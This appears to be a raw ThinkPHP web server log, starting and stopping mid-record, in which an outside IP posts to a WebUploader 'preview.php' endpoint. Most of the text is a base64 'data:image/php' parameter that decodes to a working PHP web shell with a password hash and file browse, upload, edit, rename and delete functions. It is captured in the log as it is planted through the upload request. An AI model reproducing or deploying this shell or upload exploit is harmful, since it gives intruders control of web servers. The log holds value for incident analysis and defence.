lsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'public' => 'js', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:58+08:00 ] 119.42.146.234 POST 59.110.137.245/Theme/assets/webuploader/0.1.5/server/preview.php [运行时间:0.002831s] [吞吐率:353.23req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Theme', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9